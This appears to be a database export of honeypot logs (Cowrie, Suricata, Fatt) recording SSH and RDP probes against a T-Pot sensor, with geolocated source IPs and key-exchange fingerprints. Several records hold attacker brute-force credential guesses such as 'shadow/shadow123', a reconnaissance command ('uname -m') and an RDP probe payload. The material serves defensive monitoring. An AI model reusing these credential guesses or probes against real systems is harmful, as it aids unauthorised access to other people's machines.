attacker	US
36649	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:16:35.83492+03	2021-09-20 15:30:02.552869+03	{"_id": "HQYiA3wBvYTbRNuE-WRL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 2065995160297881, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36846, "dest_port": 22, "timestamp": "2021-09-20T12:16:35.834920Z", "@timestamp": "2021-09-20T12:16:35.834Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36650	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:16:35.840421+03	2021-09-20 15:30:02.553867+03	{"_id": "HgYiA3wBvYTbRNuE-mRN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36846, "dest_port": 22, "timestamp": "2021-09-20T12:16:35.840421", "@timestamp": "2021-09-20T12:16:35.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
36661	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:58.454602+03	2021-09-20 15:30:02.568868+03	{"_id": "rQYjA3wBvYTbRNuEUmQo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.14.9", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5539641380310059, "duplicate": true, "timestamp": "2021-09-20T12:16:58.454602Z", "@timestamp": "2021-09-20T12:16:58.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36651	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:16:35.841017+03	2021-09-20 15:30:02.555867+03	{"_id": "JQYiA3wBvYTbRNuE_GQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ee691b606ef4", "@version": "1", "timestamp": "2021-09-20T12:16:35.841017Z", "@timestamp": "2021-09-20T12:16:35.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36652	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:16:41.75105+03	2021-09-20 15:30:02.556867+03	{"_id": "KwYjA3wBvYTbRNuED2Sz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:42246 (192.168.176.2:22) [session: 57439a422303]", "session": "57439a422303", "@version": "1", "protocol": "ssh", "src_port": 42246, "dest_port": 22, "timestamp": "2021-09-20T12:16:41.751050Z", "@timestamp": "2021-09-20T12:16:41.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36653	13.107.3.254	109.199.241.180	Suricata	2021-09-20 15:16:42.02981+03	2021-09-20 15:30:02.557867+03	{"_id": "LQYjA3wBvYTbRNuEEGS8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:42.029810+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.3.254", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.3.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1729237512516722, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62636, "timestamp": "2021-09-20T12:16:42.029810Z", "@timestamp": "2021-09-20T12:16:42.029Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36654	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:16:41.790741+03	2021-09-20 15:30:02.559868+03	{"_id": "NAYjA3wBvYTbRNuEEmQD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42246, "dest_port": 22, "timestamp": "2021-09-20T12:16:41.790741", "@timestamp": "2021-09-20T12:16:41.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36655	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:16:35.654465+03	2021-09-20 15:30:02.561869+03	{"_id": "GgYiA3wBvYTbRNuE-GRC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:36846 (192.168.176.2:22) [session: ee691b606ef4]", "session": "ee691b606ef4", "@version": "1", "protocol": "ssh", "src_port": 36846, "dest_port": 22, "timestamp": "2021-09-20T12:16:35.654465Z", "@timestamp": "2021-09-20T12:16:35.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36656	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:35.658167+03	2021-09-20 15:30:02.562867+03	{"_id": "JAYiA3wBvYTbRNuE-mSU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36846, "timestamp": "2021-09-20T12:16:35.658167", "@timestamp": "2021-09-20T12:16:35.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36657	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:16:36.691456+03	2021-09-20 15:30:02.563867+03	{"_id": "JgYiA3wBvYTbRNuE_GQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [shadow/shadow123] failed", "session": "ee691b606ef4", "@version": "1", "password": "shadow123", "username": "shadow", "timestamp": "2021-09-20T12:16:36.691456Z", "@timestamp": "2021-09-20T12:16:36.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36658	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:16:24.11496+03	2021-09-20 15:30:02.564869+03	{"_id": "EQYiA3wBvYTbRNuEzmRP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2101898938672765, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50232, "dest_port": 3389, "timestamp": "2021-09-20T12:16:24.114960Z", "@timestamp": "2021-09-20T12:16:24.114Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36659	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:16:24.508327+03	2021-09-20 15:30:02.566868+03	{"_id": "EgYiA3wBvYTbRNuEzmRP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2101898938672765, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50232, "dest_port": 3389, "timestamp": "2021-09-20T12:16:24.508327Z", "@timestamp": "2021-09-20T12:16:24.508Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36660	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:28.313993+03	2021-09-20 15:30:02.567868+03	{"_id": "FwYiA3wBvYTbRNuE3GTn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "8d2bad85e9ae", "@version": "1", "duration": 5.537248611450195, "timestamp": "2021-09-20T12:16:28.313993Z", "@timestamp": "2021-09-20T12:16:28.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36662	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:57.900722+03	2021-09-20 15:30:02.569869+03	{"_id": "rgYjA3wBvYTbRNuEUmQp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:57.900722Z", "@timestamp": "2021-09-20T12:16:57.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36663	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:57.901274+03	2021-09-20 15:30:02.571867+03	{"_id": "rwYjA3wBvYTbRNuEUmQp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:57.901274Z", "@timestamp": "2021-09-20T12:16:57.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36664	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:16:58.065363+03	2021-09-20 15:30:02.572867+03	{"_id": "sAYjA3wBvYTbRNuEUmQp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [webftp/webftp] failed", "session": "fd4f8bfcc9ba", "@version": "1", "password": "webftp", "username": "webftp", "timestamp": "2021-09-20T12:16:58.065363Z", "@timestamp": "2021-09-20T12:16:58.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36665	178.128.198.1	109.199.241.180	Suricata	2021-09-20 15:16:58.920765+03	2021-09-20 15:30:02.574869+03	{"_id": "sQYjA3wBvYTbRNuEU2Qu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "flow_id": 399442624252505, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56004, "dest_port": 22, "timestamp": "2021-09-20T12:16:58.920765Z", "@timestamp": "2021-09-20T12:16:58.920Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	DE
